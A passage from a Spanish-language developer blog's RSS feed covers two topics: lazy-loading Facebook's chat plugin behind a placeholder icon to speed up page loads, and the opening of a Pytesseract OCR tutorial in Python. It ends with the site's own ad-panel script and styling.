style=&#34;color:#5af78e&#34;&gt;&amp;#39;https://connect.facebook.net/es_LA/sdk/xfbml.customerchat.js&amp;#39;&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        fjs.parentNode.insertBefore(js, fjs);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }(&lt;span style=&#34;color:#ff5c57&#34;&gt;document&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;script&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;facebook-jssdk&amp;#39;&lt;/span&gt;));&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    [&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchstart&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mouseover&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchmove&amp;#39;&lt;/span&gt;].forEach(evt =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fakeFbChatLogo.removeEventListener(evt, loadFacebookChat, &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#78787e&#34;&gt;// window needs to be the latest to prevent FB not defined &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;      &lt;span style=&#34;color:#ff5c57&#34;&gt;window&lt;/span&gt;.fbAsyncInit &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;() {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        FB.init({&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          xfbml            &lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          version          &lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;v11.0&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }) ;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#78787e&#34;&gt;// &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;        FB.Event.subscribe(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;xfbml.render&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          FB.CustomerChat.show(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          fakeFbChatLogo.remove();      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El contenido de la función es el misma que obtienes de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.facebook.com/business/help/1524587524402327&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;la documentación de facebook&lt;/a&gt;&#xA; pero con dos pequeños pasos extras.&lt;/p&gt;&#xA;&lt;p&gt;El primer paso es remover el &lt;em&gt;eventListener&lt;/em&gt; que creamos para que no se siga ejecutando una vez que el usuario interaccione con el ícono falso.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;click&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchstart&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;mouseover&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;ontouchmove&amp;#39;&lt;/span&gt;].forEach(evt =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    fakeFbChatLogo.removeEventListener(evt, loadFacebookChat, &lt;span style=&#34;color:#ff6ac1&#34;&gt;false&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;});&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El segundo paso es una suscripción al evento &lt;em&gt;xfbml.render&lt;/em&gt;, método que se ejecutará cuando nuestro chat se renderice. Es opcional abrir el chat al instante para que el usuario vea interacción, yo lo he he hecho así. Y, como paso final, eliminamos nuestro ícono falso, para que no se muestre junto con el original.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;FB.Event.subscribe(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;xfbml.render&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#ff5c57&#34;&gt;function&lt;/span&gt;(){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          FB.CustomerChat.show(&lt;span style=&#34;color:#ff6ac1&#34;&gt;true&lt;/span&gt;); &lt;span style=&#34;color:#78787e&#34;&gt;//opcional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;&lt;/span&gt;          fakeFbChatLogo.remove();      &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        });&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con los pasos anteriores estamos retrasando la carga del contenido hasta que el usuario interaccione con el. De esta manera la carga del plugin se retrasa hasta que el usuario quiera usarlo, evitando el impacto en la carga inicial.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaRetardadaDelFacebookChatPlugin.gif&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/javascript/facebooks-plugin-chat-how-to-decrease-its-impact/images/CargaRetardadaDelFacebookChatPlugin.gif&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Carga retrasada del plugin de facebook&#34; width=&#34;407&#34; height=&#34;365&#34;&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;El script del plugin no se activa hasta que interaccionemos con el icono&lt;/p&gt;&#xA;&lt;p&gt;Mira como el fb parece cargar de manera normal y hay un pequeño cambio de ícono, la animación o detalles extra puedes personalizarlos a tu gusto con CSS y sus animaciones.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;El facebook chat plugin te permite agregar un botón página que se conecta con el chat de una fanpage en facebook. Pero, como ya sabes, facebook es monopólico y la instalación por defecto carga primero el plugin, volviendo tu sitio web más lento y afectando los indicadores de web vitals de las páginas. Hay ciertas maneras de mitigar esto.&lt;/p&gt;&#xA;&lt;h2 id=&#34;el-impacto-del-plugin-de-facebook-chat&#34;&gt;El impacto del plugin de facebook chat&lt;/h2&gt;&#xA;&lt;p&gt;La carga del plugin de facebook desencadena una larga lista de peticiones web que descargan cerca de muchos MB de información y que consumen tiempo valioso que puede impactar la carga de tu página, observa.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Mini tutorial de Pytesseract, OCR en Python</title>
      <link>https://coffeebytes.dev/es/python/mini-tutorial-de-pytesseract-ocr-en-python/</link>
      <pubDate>Tue, 28 Sep 2021 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/python/mini-tutorial-de-pytesseract-ocr-en-python/</guid>
      
      <category>python</category>
      
      <category>artificial intelligence</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Python es increíblemente versátil, cuenta con una numerosa comunidad que pone a tu disposición librerías que te permiten crear redes neuronales desde cero, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/artificial-intelligence/fine-tuning-de-un-llm-guia-practica-con-recursos/&#34;&gt;realizar fine-tuning de un LLM&lt;/a&gt;&#xA; o usar el Reconocimiento Óptico de Caracteres (OCR). Para este último sólo necesitas instalar tesseract y los bindings de python, llamados pytesseract y estarás listo para convertir una imagen en una cadena de texto.&lt;/p&gt;&#xA;&lt;blockquote&#xA;    class=&#34;instagram-media&#34;&#xA;    data-instgrm-captioned&#xA;    data-instgrm-permalink=&#34;https://www.instagram.com/p/CXeaEYALRdp&#34;&#xA;    data-instgrm-version=&#34;14&#34;&#xA;    style=&#34;&#xA;      background: #fff;&#xA;      border: 0;&#xA;      border-radius: 3px;&#xA;      box-shadow: 0 0 1px 0 rgba(0, 0, 0, 0.5), 0 1px 10px 0 rgba(0, 0, 0, 0.15);&#xA;      margin: 1px;&#xA;      max-width: 540px;&#xA;      min-width: 326px;&#xA;      padding: 0;&#xA;      width: 99.375%;&#xA;      width: -webkit-calc(100% - 2px);&#xA;      width: calc(100% - 2px);&#xA;    &#34;&#xA;  &gt;&#xA;    &lt;div style=&#34;padding: 16px&#34;&gt;&#xA;      &lt;a&#xA;        href=&#34;https://www.instagram.com/p/CXeaEYALRdp&#34;&#xA;        style=&#34;&#xA;          background: #ffffff;&#xA;          line-height: 0;&#xA;          padding: 0 0;&#xA;          text-align: center;&#xA;          text-decoration: none;&#xA;          width: 100%;&#xA;        &#34;&#xA;        target=&#34;_blank&#34;&#xA;      &gt;&#xA;        &lt;div style=&#34;display: flex; flex-direction: row; align-items: center&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 50%;&#xA;              flex-grow: 0;&#xA;              height: 40px;&#xA;              margin-right: 14px;&#xA;              width: 40px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              display: flex;&#xA;              flex-direction: column;&#xA;              flex-grow: 1;&#xA;              justify-content: center;&#xA;            &#34;&#xA;          &gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                margin-bottom: 6px;&#xA;                width: 100px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 4px;&#xA;                flex-grow: 0;&#xA;                height: 14px;&#xA;                width: 60px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 19% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;display: block; height: 50px; margin: 0 auto 12px; width: 50px&#34;&#xA;        &gt;&#xA;          &lt;svg&#xA;            width=&#34;50px&#34;&#xA;            height=&#34;50px&#34;&#xA;            viewBox=&#34;0 0 60 60&#34;&#xA;            version=&#34;1.1&#34;&#xA;            xmlns=&#34;https://www.w3.org/2000/svg&#34;&#xA;            xmlns:xlink=&#34;https://www.w3.org/1999/xlink&#34;&#xA;          &gt;&#xA;            &lt;g stroke=&#34;none&#34; stroke-width=&#34;1&#34; fill=&#34;none&#34; fill-rule=&#34;evenodd&#34;&gt;&#xA;              &lt;g transform=&#34;translate(-511.000000, -20.000000)&#34; fill=&#34;#000000&#34;&gt;&#xA;                &lt;g&gt;&#xA;                  &lt;path&#xA;                    d=&#34;M556.869,30.41 C554.814,30.41 553.148,32.076 553.148,34.131 C553.148,36.186 554.814,37.852 556.869,37.852 C558.924,37.852 560.59,36.186 560.59,34.131 C560.59,32.076 558.924,30.41 556.869,30.41 M541,60.657 C535.114,60.657 530.342,55.887 530.342,50 C530.342,44.114 535.114,39.342 541,39.342 C546.887,39.342 551.658,44.114 551.658,50 C551.658,55.887 546.887,60.657 541,60.657 M541,33.886 C532.1,33.886 524.886,41.1 524.886,50 C524.886,58.899 532.1,66.113 541,66.113 C549.9,66.113 557.115,58.899 557.115,50 C557.115,41.1 549.9,33.886 541,33.886 M565.378,62.101 C565.244,65.022 564.756,66.606 564.346,67.663 C563.803,69.06 563.154,70.057 562.106,71.106 C561.058,72.155 560.06,72.803 558.662,73.347 C557.607,73.757 556.021,74.244 553.102,74.378 C549.944,74.521 548.997,74.552 541,74.552 C533.003,74.552 532.056,74.521 528.898,74.378 C525.979,74.244 524.393,73.757 523.338,73.347 C521.94,72.803 520.942,72.155 519.894,71.106 C518.846,70.057 518.197,69.06 517.654,67.663 C517.244,66.606 516.755,65.022 516.623,62.101 C516.479,58.943 516.448,57.996 516.448,50 C516.448,42.003 516.479,41.056 516.623,37.899 C516.755,34.978 517.244,33.391 517.654,32.338 C518.197,30.938 518.846,29.942 519.894,28.894 C520.942,27.846 521.94,27.196 523.338,26.654 C524.393,26.244 525.979,25.756 528.898,25.623 C532.057,25.479 533.004,25.448 541,25.448 C548.997,25.448 549.943,25.479 553.102,25.623 C556.021,25.756 557.607,26.244 558.662,26.654 C560.06,27.196 561.058,27.846 562.106,28.894 C563.154,29.942 563.803,30.938 564.346,32.338 C564.756,33.391 565.244,34.978 565.378,37.899 C565.522,41.056 565.552,42.003 565.552,50 C565.552,57.996 565.522,58.943 565.378,62.101 M570.82,37.631 C570.674,34.438 570.167,32.258 569.425,30.349 C568.659,28.377 567.633,26.702 565.965,25.035 C564.297,23.368 562.623,22.342 560.652,21.575 C558.743,20.834 556.562,20.326 553.369,20.18 C550.169,20.033 549.148,20 541,20 C532.853,20 531.831,20.033 528.631,20.18 C525.438,20.326 523.257,20.834 521.349,21.575 C519.376,22.342 517.703,23.368 516.035,25.035 C514.368,26.702 513.342,28.377 512.574,30.349 C511.834,32.258 511.326,34.438 511.181,37.631 C511.035,40.831 511,41.851 511,50 C511,58.147 511.035,59.17 511.181,62.369 C511.326,65.562 511.834,67.743 512.574,69.651 C513.342,71.625 514.368,73.296 516.035,74.965 C517.703,76.634 519.376,77.658 521.349,78.425 C523.257,79.167 525.438,79.673 528.631,79.82 C531.831,79.965 532.853,80.001 541,80.001 C549.148,80.001 550.169,79.965 553.369,79.82 C556.562,79.673 558.743,79.167 560.652,78.425 C562.623,77.658 564.297,76.634 565.965,74.965 C567.633,73.296 568.659,71.625 569.425,69.651 C570.167,67.743 570.674,65.562 570.82,62.369 C570.966,59.17 571,58.147 571,50 C571,41.851 570.966,40.831 570.82,37.631&#34;&#xA;                  &gt;&lt;/path&gt;&#xA;                &lt;/g&gt;&#xA;              &lt;/g&gt;&#xA;            &lt;/g&gt;&#xA;          &lt;/svg&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding-top: 8px&#34;&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              color: #3897f0;&#xA;              font-family: Arial, sans-serif;&#xA;              font-size: 14px;&#xA;              font-style: normal;&#xA;              font-weight: 550;&#xA;              line-height: 18px;&#xA;            &#34;&#xA;          &gt;&#xA;            View this post on Instagram&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div style=&#34;padding: 12.5% 0&#34;&gt;&lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: row;&#xA;            margin-bottom: 14px;&#xA;            align-items: center;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(0px) translateY(7px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                height: 12.5px;&#xA;                transform: rotate(-45deg) translateX(3px) translateY(1px);&#xA;                width: 12.5px;&#xA;                flex-grow: 0;&#xA;                margin-right: 14px;&#xA;                margin-left: 2px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                height: 12.5px;&#xA;                width: 12.5px;&#xA;                transform: translateX(9px) translateY(-18px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: 8px&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                border-radius: 50%;&#xA;                flex-grow: 0;&#xA;                height: 20px;&#xA;                width: 20px;&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 2px solid transparent;&#xA;                border-left: 6px solid #f4f4f4;&#xA;                border-bottom: 2px solid transparent;&#xA;                transform: translateX(16px) translateY(-4px) rotate(30deg);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;          &lt;div style=&#34;margin-left: auto&#34;&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0px;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-right: 8px solid transparent;&#xA;                transform: translateY(16px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                background-color: #f4f4f4;&#xA;                flex-grow: 0;&#xA;                height: 12px;&#xA;                width: 16px;&#xA;                transform: translateY(-4px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;            &lt;div&#xA;              style=&#34;&#xA;                width: 0;&#xA;                height: 0;&#xA;                border-top: 8px solid #f4f4f4;&#xA;                border-left: 8px solid transparent;&#xA;                transform: translateY(-4px) translateX(8px);&#xA;              &#34;&#xA;            &gt;&lt;/div&gt;&#xA;          &lt;/div&gt;&#xA;        &lt;/div&gt;&#xA;        &lt;div&#xA;          style=&#34;&#xA;            display: flex;&#xA;            flex-direction: column;&#xA;            flex-grow: 1;&#xA;            justify-content: center;&#xA;            margin-bottom: 24px;&#xA;          &#34;&#xA;        &gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              margin-bottom: 6px;&#xA;              width: 224px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&#xA;          &lt;div&#xA;            style=&#34;&#xA;              background-color: #f4f4f4;&#xA;              border-radius: 4px;&#xA;              flex-grow: 0;&#xA;              height: 14px;&#xA;              width: 144px;&#xA;            &#34;&#xA;          &gt;&lt;/div&gt;&lt;/div&#xA;      &gt;&lt;/a&gt;&#xA;    &lt;/div&gt;&#xA;  &lt;/blockquote&gt;&lt;script async src=&#34;https://www.instagram.com/embed.js&#34;&gt;&lt;/script&gt;&#xA;&lt;h2 id=&#34;tutorial-de-pytesseract&#34;&gt;Tutorial de pytesseract&lt;/h2&gt;&#xA;&lt;p&gt;Para llevar a cabo el OCR con Python necesitaremos tesseract, que es la librería que se encarga de todo el trabajo pesado y el procesamiento de imágenes necesario para extraer texto de imágenes.&lt;/p&gt;&#xA;&lt;p&gt;Asegúrate de instalar el tesseract-ocr más nuevo, hay una diferencia abismal entre la versión 3 y las versiones posteriores a la 4, pues se implementaron redes neuronales para mejorar el reconocimiento de caracteres. Yo estoy usando la versión 5 alpha.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sudo apt install tesseract-ocr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract -v&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tesseract 5.3.0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Mi recomendación de libro si te gusta Python es este pequeño libro. Python tricks es una recopilación de trucos (dah, obvio) y partes útiles, pero desconocidas, del lenguaje. Yo pensaba que sabía Python hasta que leí este libro, dale una oportunidad si no me crees.\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/python-tricks-the-book.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/4gLHlCB\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de los trucos de Python y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;Si quieres pulir tus conocimientos de Python\&#34;},{\&#34;description\&#34;:\&#34;Mi recomendación es este pequeño libro de cien páginas sobre Machine Learning, trata de las bases del Machine Learning y todas las matemáticas necesarias para entender cómo se entrenan los modelos de IA. No te dejes engañar por su tamaño, es denso y un poco complicado. ¿Y por qué tan corto? El libro es tan corto porque deja de lado todo el relleno y se queda sólo con las partes cruciales del Machine Learning. Una advertencia, contiene muchas ecuaciones y no tiene exactamente cien páginas, sino un poco más.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro de cien páginas sobre Machine Learning\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103780/hundred-page-machine-learning-book_ueonkh.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3D3oMvN\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de The Hundred-Page Machine Learning y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;En dónde aprender las bases de AI y Machine Learning\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;   